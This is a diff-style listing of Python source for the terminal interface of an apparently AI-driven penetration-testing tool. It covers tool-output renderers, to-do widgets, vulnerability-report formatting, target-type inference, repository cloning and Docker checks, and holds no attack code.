terminal_icon = ">_"
if not command.strip():
text.append(terminal_icon, style="dim")
text.append(" ")
text.append("getting logs...", style="dim")
if result:
cls._append_output(text, result, status, command)
return text
is_special = (
command in cls.CONTROL_SEQUENCES
or command in cls.SPECIAL_KEYS
or command.startswith(("M-", "S-", "C-S-", "C-M-", "S-M-"))
)
text.append(terminal_icon, style="dim")
text.append(" ")
if is_special:
text.append(command, style="#ef4444")
elif is_input:
text.append(">>>", style="#3b82f6")
text.append(" ")
text.append_text(cls._format_command(command))
else:
text.append("$", style="#22c55e")
text.append(" ")
text.append_text(cls._format_command(command))
if result:
cls._append_output(text, result, status, command)
return text
@classmethod
def _clean_output(cls, output: str, command: str = "") -> str:
cleaned = output
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned, flags=re.MULTILINE)
if cleaned.strip():
lines = cleaned.splitlines()
filtered_lines: list[str] = []
for line in lines:
if not filtered_lines and not line.strip():
continue
if re.match(r"^\[STRIX_\d+\]\$\s*", line):
continue
if command and line.strip() == command.strip():
continue
if command and re.match(r"^[\$#>]\s*" + re.escape(command.strip()) + r"\s*$", line):
continue
filtered_lines.append(line)
while filtered_lines and re.match(r"^\[STRIX_\d+\]\$\s*", filtered_lines[-1]):
filtered_lines.pop()
cleaned = "\n".join(filtered_lines)
return cleaned.strip()
@classmethod
def _append_output(
cls, text: Text, result: dict[str, Any] | str, tool_status: str, command: str = ""
) -> None:
if isinstance(result, str):
if result.strip():
text.append("\n")
text.append_text(cls._format_output(result))
return
raw_output = result.get("content", "")
output = cls._clean_output(raw_output, command)
error = result.get("error")
exit_code = result.get("exit_code")
result_status = result.get("status", "")
if error and not cls._is_status_message(error):
text.append("\n")
text.append(" error: ", style="bold #ef4444")
text.append(cls._truncate_line(error), style="#ef4444")
return
if result_status == "running" or tool_status == "running":
if output and output.strip():
text.append("\n")
formatted_output = cls._format_output(output)
text.append_text(formatted_output)
return
if not output or not output.strip():
if exit_code is not None and exit_code != 0:
text.append("\n")
text.append(f" exit {exit_code}", style="dim #ef4444")
return
text.append("\n")
formatted_output = cls._format_output(output)
text.append_text(formatted_output)
if exit_code is not None and exit_code != 0:
text.append("\n")
text.append(f" exit {exit_code}", style="dim #ef4444")
@classmethod
def _is_status_message(cls, message: str) -> bool:
status_patterns = [
r"No command is currently running",
r"A command is already running",
r"Cannot send input",
r"Use is_input=true",
r"Use C-c to interrupt",
r"showing output so far",
]
return any(re.search(pattern, message) for pattern in status_patterns)
@classmethod
def _format_output(cls, output: str) -> Text:
text = Text()
lines = output.splitlines()
total_lines = len(lines)
head_count = MAX_OUTPUT_LINES // 2
tail_count = MAX_OUTPUT_LINES - head_count - 1
if total_lines <= MAX_OUTPUT_LINES:
display_lines = lines
truncated = False
hidden_count = 0
else:
display_lines = lines[:head_count]
truncated = True
hidden_count = total_lines - head_count - tail_count
for i, line in enumerate(display_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(display_lines) - 1 or truncated:
text.append("\n")
if truncated:
text.append(f" ... {hidden_count} lines truncated ...", style="dim italic")
text.append("\n")
tail_lines = lines[-tail_count:]
for i, line in enumerate(tail_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(tail_lines) - 1:
text.append("\n")
return text
@classmethod
def _truncate_line(cls, line: str) -> str:
clean_line = re.sub(r"\x1b\[[0-9;]*m", "", line)
if len(clean_line) > MAX_LINE_LENGTH:
return line[: MAX_LINE_LENGTH - 3] + "..."
return line
@classmethod
def _format_command(cls, command: str) -> Text:
return cls._highlight_bash(command)
@@ -1,5 +1,6 @@
from typing import Any, ClassVar from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static from textual.widgets import Static
from .base_renderer import BaseToolRenderer from .base_renderer import BaseToolRenderer
@@ -14,16 +15,17 @@ class ThinkRenderer(BaseToolRenderer):
@classmethod @classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {}) args = tool_data.get("args", {})
thought = args.get("thought", "") thought = args.get("thought", "")
header = "🧠 [bold #a855f7]Thinking[/]" text = Text()
text.append("🧠 ")
text.append("Thinking", style="bold #a855f7")
text.append("\n ")
if thought: if thought:
thought_display = thought[:200] + "..." if len(thought) > 200 else thought text.append(thought, style="italic dim")
content = f"{header}\n [italic dim]{cls.escape_markup(thought_display)}[/]"
else: else:
content = f"{header}\n [italic dim]Thinking...[/]" text.append("Thinking...", style="italic dim")
css_classes = cls.get_css_classes("completed") css_classes = cls.get_css_classes("completed")
return Static(content, classes=css_classes) return Static(text, classes=css_classes)
@@ -0,0 +1,225 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
STATUS_MARKERS: dict[str, str] = {
"pending": "[ ]",
"in_progress": "[~]",
"done": "[•]",
}
def _format_todo_lines(text: Text, result: dict[str, Any]) -> None:
todos = result.get("todos")
if not isinstance(todos, list) or not todos:
text.append("\n ")
text.append("No todos", style="dim")
return
for todo in todos:
status = todo.get("status", "pending")
marker = STATUS_MARKERS.get(status, STATUS_MARKERS["pending"])
title = todo.get("title", "").strip() or "(untitled)"
text.append("\n ")
text.append(marker)
text.append(" ")
if status == "done":
text.append(title, style="dim strike")
elif status == "in_progress":
text.append(title, style="italic")
else:
text.append(title)
@register_tool_renderer
class CreateTodoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_todo"
css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📋 ")
text.append("Todo", style="bold #a78bfa")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if result.get("success"):
_format_todo_lines(text, result)
else:
error = result.get("error", "Failed to create todo")
text.append("\n ")
text.append(error, style="#ef4444")
else:
text.append("\n ")
text.append("Creating...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ListTodosRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_todos"
css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📋 ")
text.append("Todos", style="bold #a78bfa")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if result.get("success"):
_format_todo_lines(text, result)
else:
error = result.get("error", "Unable to list todos")
text.append("\n ")
text.append(error, style="#ef4444")
else:
text.append("\n ")
text.append("Loading...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class UpdateTodoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "update_todo"
css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📋 ")
text.append("Todo Updated", style="bold #a78bfa")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if result.get("success"):
_format_todo_lines(text, result)
else:
error = result.get("error", "Failed to update todo")
text.append("\n ")
text.append(error, style="#ef4444")
else:
text.append("\n ")
text.append("Updating...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class MarkTodoDoneRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "mark_todo_done"
css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📋 ")
text.append("Todo Completed", style="bold #a78bfa")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if result.get("success"):
_format_todo_lines(text, result)
else:
error = result.get("error", "Failed to mark todo done")
text.append("\n ")
text.append(error, style="#ef4444")
else:
text.append("\n ")
text.append("Marking done...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class MarkTodoPendingRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "mark_todo_pending"
css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📋 ")
text.append("Todo Reopened", style="bold #f59e0b")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if result.get("success"):
_format_todo_lines(text, result)
else:
error = result.get("error", "Failed to reopen todo")
text.append("\n ")
text.append(error, style="#ef4444")
else:
text.append("\n ")
text.append("Reopening...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class DeleteTodoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "delete_todo"
css_classes: ClassVar[list[str]] = ["tool-call", "todo-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📋 ")
text.append("Todo Removed", style="bold #94a3b8")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if result.get("success"):
_format_todo_lines(text, result)
else:
error = result.get("error", "Failed to remove todo")
text.append("\n ")
text.append(error, style="#ef4444")
else:
text.append("\n ")
text.append("Removing...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@@ -0,0 +1,50 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class UserMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "user_message"
css_classes: ClassVar[list[str]] = ["chat-message", "user-message"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
content = tool_data.get("content", "")
if not content:
return Static(Text(), classes=" ".join(cls.css_classes))
styled_text = cls._format_user_message(content)
return Static(styled_text, classes=" ".join(cls.css_classes))
@classmethod
def render_simple(cls, content: str) -> Text:
if not content:
return Text()
return cls._format_user_message(content)
@classmethod
def _format_user_message(cls, content: str) -> Text:
text = Text()
text.append("", style="#3b82f6")
text.append(" ")
text.append("You:", style="bold")
text.append("\n")
lines = content.split("\n")
for i, line in enumerate(lines):
if i > 0:
text.append("\n")
text.append("", style="#3b82f6")
text.append(" ")
text.append(line)
return text
@@ -1,5 +1,6 @@
from typing import Any, ClassVar from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static from textual.widgets import Static
from .base_renderer import BaseToolRenderer from .base_renderer import BaseToolRenderer
@@ -16,13 +17,13 @@ class WebSearchRenderer(BaseToolRenderer):
args = tool_data.get("args", {}) args = tool_data.get("args", {})
query = args.get("query", "") query = args.get("query", "")
header = "🌐 [bold #60a5fa]Searching the web...[/]" text = Text()
text.append("🌐 ")
text.append("Searching the web...", style="bold #60a5fa")
if query: if query:
query_display = query[:100] + "..." if len(query) > 100 else query text.append("\n ")
content_text = f"{header}\n [dim]{cls.escape_markup(query_display)}[/]" text.append(query, style="dim")
else:
content_text = f"{header}"
css_classes = cls.get_css_classes("completed") css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes) return Static(text, classes=css_classes)
File diff suppressed because it is too large Load Diff
+791
View File
@@ -0,0 +1,791 @@
import ipaddress
import re
import secrets
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Any
from urllib.parse import urlparse
import docker
from docker.errors import DockerException, ImageNotFound
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
# Token formatting utilities
def format_token_count(count: float) -> str:
count = int(count)
if count >= 1_000_000:
return f"{count / 1_000_000:.1f}M"
if count >= 1_000:
return f"{count / 1_000:.1f}K"
return str(count)
# Display utilities
def get_severity_color(severity: str) -> str:
severity_colors = {
"critical": "#dc2626",
"high": "#ea580c",
"medium": "#d97706",
"low": "#65a30d",
"info": "#0284c7",
}
return severity_colors.get(severity, "#6b7280")
def get_cvss_color(cvss_score: float) -> str:
if cvss_score >= 9.0:
return "#dc2626"
if cvss_score >= 7.0:
return "#ea580c"
if cvss_score >= 4.0:
return "#d97706"
if cvss_score >= 0.1:
return "#65a30d"
return "#6b7280"
def format_vulnerability_report(report: dict[str, Any]) -> Text: # noqa: PLR0912, PLR0915
"""Format a vulnerability report for CLI display with all rich fields."""
field_style = "bold #4ade80"
text = Text()
title = report.get("title", "")
if title:
text.append("Vulnerability Report", style="bold #ea580c")
text.append("\n\n")
text.append("Title: ", style=field_style)
text.append(title)
severity = report.get("severity", "")
if severity:
text.append("\n\n")
text.append("Severity: ", style=field_style)
severity_color = get_severity_color(severity.lower())
text.append(severity.upper(), style=f"bold {severity_color}")
cvss = report.get("cvss")
if cvss is not None:
text.append("\n\n")
text.append("CVSS Score: ", style=field_style)
cvss_color = get_cvss_color(cvss)
text.append(f"{cvss:.1f}", style=f"bold {cvss_color}")
target = report.get("target")
if target:
text.append("\n\n")
text.append("Target: ", style=field_style)
text.append(target)
endpoint = report.get("endpoint")
if endpoint:
text.append("\n\n")
text.append("Endpoint: ", style=field_style)
text.append(endpoint)
method = report.get("method")
if method:
text.append("\n\n")
text.append("Method: ", style=field_style)
text.append(method)
cve = report.get("cve")
if cve:
text.append("\n\n")
text.append("CVE: ", style=field_style)
text.append(cve)
cvss_breakdown = report.get("cvss_breakdown", {})
if cvss_breakdown:
text.append("\n\n")
cvss_parts = []
if cvss_breakdown.get("attack_vector"):
cvss_parts.append(f"AV:{cvss_breakdown['attack_vector']}")
if cvss_breakdown.get("attack_complexity"):
cvss_parts.append(f"AC:{cvss_breakdown['attack_complexity']}")
if cvss_breakdown.get("privileges_required"):
cvss_parts.append(f"PR:{cvss_breakdown['privileges_required']}")
if cvss_breakdown.get("user_interaction"):
cvss_parts.append(f"UI:{cvss_breakdown['user_interaction']}")
if cvss_breakdown.get("scope"):
cvss_parts.append(f"S:{cvss_breakdown['scope']}")
if cvss_breakdown.get("confidentiality"):
cvss_parts.append(f"C:{cvss_breakdown['confidentiality']}")
if cvss_breakdown.get("integrity"):
cvss_parts.append(f"I:{cvss_breakdown['integrity']}")
if cvss_breakdown.get("availability"):
cvss_parts.append(f"A:{cvss_breakdown['availability']}")
if cvss_parts:
text.append("CVSS Vector: ", style=field_style)
text.append("/".join(cvss_parts), style="dim")
description = report.get("description")
if description:
text.append("\n\n")
text.append("Description", style=field_style)
text.append("\n")
text.append(description)
impact = report.get("impact")
if impact:
text.append("\n\n")
text.append("Impact", style=field_style)
text.append("\n")
text.append(impact)
technical_analysis = report.get("technical_analysis")
if technical_analysis:
text.append("\n\n")
text.append("Technical Analysis", style=field_style)
text.append("\n")
text.append(technical_analysis)
poc_description = report.get("poc_description")
if poc_description:
text.append("\n\n")
text.append("PoC Description", style=field_style)
text.append("\n")
text.append(poc_description)
poc_script_code = report.get("poc_script_code")
if poc_script_code:
text.append("\n\n")
text.append("PoC Code", style=field_style)
text.append("\n")
text.append(poc_script_code, style="dim")
code_file = report.get("code_file")
if code_file:
text.append("\n\n")
text.append("Code File: ", style=field_style)
text.append(code_file)
code_before = report.get("code_before")
if code_before:
text.append("\n\n")
text.append("Code Before", style=field_style)
text.append("\n")
text.append(code_before, style="dim")
code_after = report.get("code_after")
if code_after:
text.append("\n\n")
text.append("Code After", style=field_style)
text.append("\n")
text.append(code_after, style="dim")
code_diff = report.get("code_diff")
if code_diff:
text.append("\n\n")
text.append("Code Diff", style=field_style)
text.append("\n")
text.append(code_diff, style="dim")
remediation_steps = report.get("remediation_steps")
if remediation_steps:
text.append("\n\n")
text.append("Remediation", style=field_style)
text.append("\n")
text.append(remediation_steps)
return text
def _build_vulnerability_stats(stats_text: Text, tracer: Any) -> None:
"""Build vulnerability section of stats text."""
vuln_count = len(tracer.vulnerability_reports)
if vuln_count > 0:
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for report in tracer.vulnerability_reports:
severity = report.get("severity", "").lower()
if severity in severity_counts:
severity_counts[severity] += 1
stats_text.append("🔍 Vulnerabilities Found: ", style="bold red")
severity_parts = []
for severity in ["critical", "high", "medium", "low", "info"]:
count = severity_counts[severity]
if count > 0:
severity_color = get_severity_color(severity)
severity_text = Text()
severity_text.append(f"{severity.upper()}: ", style=severity_color)
severity_text.append(str(count), style=f"bold {severity_color}")
severity_parts.append(severity_text)
for i, part in enumerate(severity_parts):
stats_text.append(part)
if i < len(severity_parts) - 1:
stats_text.append(" | ", style="dim white")
stats_text.append(" (Total: ", style="dim white")
stats_text.append(str(vuln_count), style="bold yellow")
stats_text.append(")", style="dim white")
stats_text.append("\n")
else:
stats_text.append("🔍 Vulnerabilities Found: ", style="bold green")
stats_text.append("0", style="bold white")
stats_text.append(" (No exploitable vulnerabilities detected)", style="dim green")
stats_text.append("\n")
def _build_llm_stats(stats_text: Text, total_stats: dict[str, Any]) -> None:
"""Build LLM usage section of stats text."""
if total_stats["requests"] > 0:
stats_text.append("\n")
stats_text.append("📥 Input Tokens: ", style="bold cyan")
stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white")
if total_stats["cached_tokens"] > 0:
stats_text.append("", style="dim white")
stats_text.append("⚡ Cached Tokens: ", style="bold green")
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="bold white")
stats_text.append("", style="dim white")
stats_text.append("📤 Output Tokens: ", style="bold cyan")
stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white")
if total_stats["cost"] > 0:
stats_text.append("", style="dim white")
stats_text.append("💰 Total Cost: ", style="bold cyan")
stats_text.append(f"${total_stats['cost']:.4f}", style="bold yellow")
else:
stats_text.append("\n")
stats_text.append("💰 Total Cost: ", style="bold cyan")
stats_text.append("$0.0000 ", style="bold yellow")
stats_text.append("", style="bold white")
stats_text.append("📊 Tokens: ", style="bold cyan")
stats_text.append("0", style="bold white")
def build_final_stats_text(tracer: Any) -> Text:
"""Build stats text for final output with detailed messages and LLM usage."""
stats_text = Text()
if not tracer:
return stats_text
_build_vulnerability_stats(stats_text, tracer)
tool_count = tracer.get_real_tool_count()
agent_count = len(tracer.agents)
stats_text.append("🤖 Agents Used: ", style="bold cyan")
stats_text.append(str(agent_count), style="bold white")
stats_text.append("", style="dim white")
stats_text.append("🛠️ Tools Called: ", style="bold cyan")
stats_text.append(str(tool_count), style="bold white")
llm_stats = tracer.get_total_llm_stats()
_build_llm_stats(stats_text, llm_stats["total"])
return stats_text
def build_live_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None) -> Text:
stats_text = Text()
if not tracer:
return stats_text
if agent_config:
llm_config = agent_config["llm_config"]
model = getattr(llm_config, "model_name", "Unknown")
stats_text.append(f"🧠 Model: {model}")
stats_text.append("\n")
vuln_count = len(tracer.vulnerability_reports)
tool_count = tracer.get_real_tool_count()
agent_count = len(tracer.agents)
stats_text.append("🔍 Vulnerabilities: ", style="bold white")
stats_text.append(f"{vuln_count}", style="dim white")
stats_text.append("\n")
if vuln_count > 0:
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for report in tracer.vulnerability_reports:
severity = report.get("severity", "").lower()
if severity in severity_counts:
severity_counts[severity] += 1
severity_parts = []
for severity in ["critical", "high", "medium", "low", "info"]:
count = severity_counts[severity]
if count > 0:
severity_color = get_severity_color(severity)
severity_text = Text()
severity_text.append(f"{severity.upper()}: ", style=severity_color)
severity_text.append(str(count), style=f"bold {severity_color}")
severity_parts.append(severity_text)
for i, part in enumerate(severity_parts):
stats_text.append(part)
if i < len(severity_parts) - 1:
stats_text.append(" | ", style="dim white")
stats_text.append("\n")
stats_text.append("🤖 Agents: ", style="bold white")
stats_text.append(str(agent_count), style="dim white")
stats_text.append("", style="dim white")
stats_text.append("🛠️ Tools: ", style="bold white")
stats_text.append(str(tool_count), style="dim white")
llm_stats = tracer.get_total_llm_stats()
total_stats = llm_stats["total"]
stats_text.append("\n")
stats_text.append("📥 Input: ", style="bold white")
stats_text.append(format_token_count(total_stats["input_tokens"]), style="dim white")
stats_text.append("", style="dim white")
stats_text.append("", style="bold white")
stats_text.append("Cached: ", style="bold white")
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="dim white")
stats_text.append("\n")
stats_text.append("📤 Output: ", style="bold white")
stats_text.append(format_token_count(total_stats["output_tokens"]), style="dim white")
stats_text.append("", style="dim white")
stats_text.append("💰 Cost: ", style="bold white")
stats_text.append(f"${total_stats['cost']:.4f}", style="dim white")
return stats_text
def build_tui_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None) -> Text:
stats_text = Text()
if not tracer:
return stats_text
if agent_config:
llm_config = agent_config["llm_config"]
model = getattr(llm_config, "model_name", "Unknown")
stats_text.append(model, style="dim")
llm_stats = tracer.get_total_llm_stats()
total_stats = llm_stats["total"]
total_tokens = total_stats["input_tokens"] + total_stats["output_tokens"]
if total_tokens > 0:
stats_text.append("\n")
stats_text.append(f"{format_token_count(total_tokens)} tokens", style="dim")
if total_stats["cost"] > 0:
stats_text.append("\n")
stats_text.append(f"${total_stats['cost']:.2f} spent", style="dim")
return stats_text
# Name generation utilities
def _slugify_for_run_name(text: str, max_length: int = 32) -> str:
text = text.lower().strip()
text = re.sub(r"[^a-z0-9]+", "-", text)
text = text.strip("-")
if len(text) > max_length:
text = text[:max_length].rstrip("-")
return text or "pentest"
def _derive_target_label_for_run_name(targets_info: list[dict[str, Any]] | None) -> str: # noqa: PLR0911
if not targets_info:
return "pentest"
first = targets_info[0]
target_type = first.get("type")
details = first.get("details", {}) or {}
original = first.get("original", "") or ""
if target_type == "web_application":
url = details.get("target_url", original)
try:
parsed = urlparse(url)
return str(parsed.netloc or parsed.path or url)
except Exception: # noqa: BLE001
return str(url)
if target_type == "repository":
repo = details.get("target_repo", original)
parsed = urlparse(repo)
path = parsed.path or repo
name = path.rstrip("/").split("/")[-1] or path
if name.endswith(".git"):
name = name[:-4]
return str(name)
if target_type == "local_code":
path_str = details.get("target_path", original)
try:
return str(Path(path_str).name or path_str)
except Exception: # noqa: BLE001
return str(path_str)
if target_type == "ip_address":
return str(details.get("target_ip", original) or original)
return str(original or "pentest")
def generate_run_name(targets_info: list[dict[str, Any]] | None = None) -> str:
base_label = _derive_target_label_for_run_name(targets_info)
slug = _slugify_for_run_name(base_label)
random_suffix = secrets.token_hex(2)
return f"{slug}_{random_suffix}"
# Target processing utilities
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911
if not target or not isinstance(target, str):
raise ValueError("Target must be a non-empty string")
target = target.strip()
lower_target = target.lower()
bare_repo_prefixes = (
"github.com/",
"www.github.com/",
"gitlab.com/",
"www.gitlab.com/",
"bitbucket.org/",
"www.bitbucket.org/",
)
if any(lower_target.startswith(p) for p in bare_repo_prefixes):
return "repository", {"target_repo": f"https://{target}"}
parsed = urlparse(target)
if parsed.scheme in ("http", "https"):
if any(
host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"]
):
return "repository", {"target_repo": target}
return "web_application", {"target_url": target}
try:
ip_obj = ipaddress.ip_address(target)
except ValueError:
pass
else:
return "ip_address", {"target_ip": str(ip_obj)}
path = Path(target).expanduser()
try:
if path.exists():
if path.is_dir():
resolved = path.resolve()
return "local_code", {"target_path": str(resolved)}
raise ValueError(f"Path exists but is not a directory: {target}")
except (OSError, RuntimeError) as e:
raise ValueError(f"Invalid path: {target} - {e!s}") from e
if target.startswith("git@") or target.endswith(".git"):
return "repository", {"target_repo": target}
if "." in target and "/" not in target and not target.startswith("."):
parts = target.split(".")
if len(parts) >= 2 and all(p and p.strip() for p in parts):
return "web_application", {"target_url": f"https://{target}"}
raise ValueError(
f"Invalid target: {target}\n"
"Target must be one of:\n"
"- A valid URL (http:// or https://)\n"
"- A Git repository URL (https://github.com/... or git@github.com:...)\n"
"- A local directory path\n"
"- A domain name (e.g., example.com)\n"
"- An IP address (e.g., 192.168.1.10)"
)
def sanitize_name(name: str) -> str:
sanitized = re.sub(r"[^A-Za-z0-9._-]", "-", name.strip())
return sanitized or "target"
def derive_repo_base_name(repo_url: str) -> str:
if repo_url.endswith("/"):
repo_url = repo_url[:-1]
if ":" in repo_url and repo_url.startswith("git@"):
path_part = repo_url.split(":", 1)[1]
else:
path_part = urlparse(repo_url).path or repo_url
candidate = path_part.split("/")[-1]
if candidate.endswith(".git"):
candidate = candidate[:-4]
return sanitize_name(candidate or "repository")
def derive_local_base_name(path_str: str) -> str:
try:
base = Path(path_str).resolve().name
except (OSError, RuntimeError):
base = Path(path_str).name
return sanitize_name(base or "workspace")
def assign_workspace_subdirs(targets_info: list[dict[str, Any]]) -> None:
name_counts: dict[str, int] = {}
for target in targets_info:
target_type = target["type"]
details = target["details"]
base_name: str | None = None
if target_type == "repository":
base_name = derive_repo_base_name(details["target_repo"])
elif target_type == "local_code":
base_name = derive_local_base_name(details.get("target_path", "local"))
if base_name is None:
continue
count = name_counts.get(base_name, 0) + 1
name_counts[base_name] = count
workspace_subdir = base_name if count == 1 else f"{base_name}-{count}"
details["workspace_subdir"] = workspace_subdir
def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, str]]:
local_sources: list[dict[str, str]] = []
for target_info in targets_info:
details = target_info["details"]
workspace_subdir = details.get("workspace_subdir")
if target_info["type"] == "local_code" and "target_path" in details:
local_sources.append(
{
"source_path": details["target_path"],
"workspace_subdir": workspace_subdir,
}
)
elif target_info["type"] == "repository" and "cloned_repo_path" in details:
local_sources.append(
{
"source_path": details["cloned_repo_path"],
"workspace_subdir": workspace_subdir,
}
)
return local_sources
def _is_localhost_host(host: str) -> bool:
host_lower = host.lower().strip("[]")
if host_lower in ("localhost", "0.0.0.0", "::1"): # nosec B104
return True
try:
ip = ipaddress.ip_address(host_lower)
if isinstance(ip, ipaddress.IPv4Address):
return ip.is_loopback # 127.0.0.0/8
if isinstance(ip, ipaddress.IPv6Address):
return ip.is_loopback # ::1
except ValueError:
pass
return False
def rewrite_localhost_targets(targets_info: list[dict[str, Any]], host_gateway: str) -> None:
from yarl import URL # type: ignore[import-not-found]
for target_info in targets_info:
target_type = target_info.get("type")
details = target_info.get("details", {})
if target_type == "web_application":
target_url = details.get("target_url", "")
try:
url = URL(target_url)
except (ValueError, TypeError):
continue
if url.host and _is_localhost_host(url.host):
details["target_url"] = str(url.with_host(host_gateway))
elif target_type == "ip_address":
target_ip = details.get("target_ip", "")
if target_ip and _is_localhost_host(target_ip):
details["target_ip"] = host_gateway
# Repository utilities
def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None) -> str:
console = Console()
git_executable = shutil.which("git")
if git_executable is None:
raise FileNotFoundError("Git executable not found in PATH")
temp_dir = Path(tempfile.gettempdir()) / "strix_repos" / run_name
temp_dir.mkdir(parents=True, exist_ok=True)
if dest_name:
repo_name = dest_name
else:
repo_name = Path(repo_url).stem if repo_url.endswith(".git") else Path(repo_url).name
clone_path = temp_dir / repo_name
if clone_path.exists():
shutil.rmtree(clone_path)
try:
with console.status(f"[bold cyan]Cloning repository {repo_url}...", spinner="dots"):
subprocess.run( # noqa: S603
[
git_executable,
"clone",
repo_url,
str(clone_path),
],
capture_output=True,
text=True,
check=True,
)
return str(clone_path.absolute())
except subprocess.CalledProcessError as e:
error_text = Text()
error_text.append("", style="bold red")
error_text.append("REPOSITORY CLONE FAILED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append(f"Could not clone repository: {repo_url}\n", style="white")
error_text.append(
f"Error: {e.stderr if hasattr(e, 'stderr') and e.stderr else str(e)}", style="dim red"
)
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX CLONE ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
except FileNotFoundError:
error_text = Text()
error_text.append("", style="bold red")
error_text.append("GIT NOT FOUND", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("Git is not installed or not available in PATH.\n", style="white")
error_text.append("Please install Git to clone repositories.\n", style="white")
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX CLONE ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
# Docker utilities
def check_docker_connection() -> Any:
try:
return docker.from_env()
except DockerException:
console = Console()
error_text = Text()
error_text.append("", style="bold red")
error_text.append("DOCKER NOT AVAILABLE", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("Cannot connect to Docker daemon.\n", style="white")
error_text.append(
"Please ensure Docker Desktop is installed and running, and try running strix again.\n",
style="white",
)
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX STARTUP ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n", panel, "\n")
raise RuntimeError("Docker not available") from None
def image_exists(client: Any, image_name: str) -> bool:
try:
client.images.get(image_name)
except ImageNotFound:
return False
else:
return True
def update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None:
if "Pull complete" in layer_status or "Already exists" in layer_status:
layers_info[layer_id] = ""
elif "Downloading" in layer_status:
layers_info[layer_id] = ""
elif "Extracting" in layer_status:
layers_info[layer_id] = "📦"
elif "Waiting" in layer_status:
layers_info[layer_id] = ""
else:
layers_info[layer_id] = ""
def process_pull_line(
line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str
) -> str:
if "id" in line and "status" in line:
layer_id = line["id"]
update_layer_status(layers_info, layer_id, line["status"])
completed = sum(1 for v in layers_info.values() if v == "")
total = len(layers_info)
if total > 0:
